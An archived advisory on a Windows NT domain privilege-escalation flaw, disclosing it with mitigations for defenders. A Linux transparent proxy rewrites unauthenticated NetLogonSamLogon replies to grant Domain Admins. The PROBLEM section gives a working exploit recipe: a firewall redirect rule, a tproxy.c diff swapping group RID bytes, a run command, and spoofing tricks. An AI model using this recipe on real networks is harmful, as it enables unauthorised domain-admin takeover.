COMMAND

    Gaining Domain Admins access on LAN

SYSTEMS AFFECTED

    WinNT

PROBLEM

    Paul Ashton  found following.   Contents of  the  NetLogonSamLogon
    packet are unauthenticated.  While using Linux's transparent proxy
    support to  do things  like transparently  filter outgoing  access
    to port 80 through the  Linux firewall via the junkbuster  privacy
    program (cookie  removal etc.)  and the  squid web  cache it turns
    out that  changing the  NetLogonSamLogon packet  using transparent
    proxy support  is trivial.  No need  to bother  with recalculating
    TCP checksums etc.

    Here's what  you need  to do  if you  want to  change your  domain
    group DOMGRP1 (let's  say it's RID  0x03F3) to Domain  Admins, RID
    0x0200.  Get transproxy-0.3 from:

        http://www.nlc.net.au/

    Make sure  your Linux  kernel has  been compiled  with transparent
    proxy support.  Install the following firewall rule:-

        ipfwadm -I -a accept -P tcp -D 0/0 139 -r 150

    This will redirect  attempts to connect  to port 139  to the local
    port 150.   Start the  transparent proxy  daemon on  port 150 that
    will modify the contents of MS RPCs that go through it.

    Modify tproxy.c with the following diff:
    *** tproxy.c    Wed Jan 28 14:17:31 1998
    --- orgtproxy.c Mon Jan 26 20:14:46 1998
    ***************
    *** 795,814 ****
                                    return;

                            default:
    -                               {
    -                               int i;
    -                               unsigned char oldgroup[8] = {0xf3,0x03,0,0,7,0,0,0};
    -                               unsigned char newgroup[8] = {0x00,0x02,0,0,7,0,0,0};
    -
    -                               for (i = 0; i < read_len-8; i++)
    -                                       if (!memcmp(headers+i, oldgroup, 8))
    -                                               memcpy(headers+i,newgroup,8);
                                    if (write(sock, headers, read_len) < 0)
                                    {
                                            syslog(LOG_WARNING, "write(client) failed: %m");
                                            close(proxy);
                                            return;
    -                               }
                                    }
                                    break;
                            }
    --- 795,805 ----

    Compile and run

        ./tproxy -t -s 150 -r nobody pdchost 139

    pdchost is the name or IP address  of a PDC or BDC which you  wish
    to authenticate to.

    Convince your workstation to  send SMB TCP/139 stuff  through your
    linux firewall. You  can do this  in various ways  such as setting
    default routes, physically interposing the linux firewall  between
    the workstation and the rest of the network, responding to netbios
    name queries using Samba, creating your own DHCP server, etc.  For
    the  purposes  of  this  test  Paul  changed the IP address of the
    workstation and set the default route to be the Linux server.

    CTL-ALT-DEL and login as a user in DOMGRP1 and voila you now  have
    domain admin  rights.   Only locally.  When you  access any  other
    server you will send your username and encrypted password and  the
    server  will  reauthenticate  you  retrieving  your  domain groups
    again.   You will  need to  convince the  server to  retrieve your
    credentials via  the transparent  proxy.   However, this shouldn't
    be too  difficult. The  server will  broadcast for  a logon server
    and will  receive a  packet that  lists the  domain controller  to
    connect to.  You  could either spoof this  or wait for the  server
    to do a netbios query for  the IP address of the server  and reply
    with your own address.  Samba, especially with the NT PDC support,
    will allow you to do all of these with ease.  Run this at your own
    peril. The group substitution  will change all occurrences  of the
    listed 8 bytes (RID+attributes) anywhere in a TCP 139 packet.

SOLUTION

    It is still unknown if  SMB signing will protect this  because the
    connection to the RPC named pipe  is done as a null session.   All
    of the above  only work if  the transparent proxy  is on the  same
    broadcast LAN segment as the  server.  In NT5, the  secure channel
    will be integrity checked  and encrypted.  (Sensitive  information
    is encrypted in NT4 and prior, but not all traffic is.)

    Russ Cooper mantioned following as protection:

    1. Monitor  the  addition  of  any  machine to your network  (i.e.
       somehow be informed that a box has been added that can  perform
       this exploit)  and get  to it  before its  been allowed to work
       even once.
    2. You could  run around and  remove Domain Admins,  and all other
       Domain Groups, from every WS or Server on my network that's not
       a DC.
    3. You  could remove  all groups  from permissions  throughout the
       domain, thereby preventing access due to group membership,  but
       that would dramatically increase your administration overhead.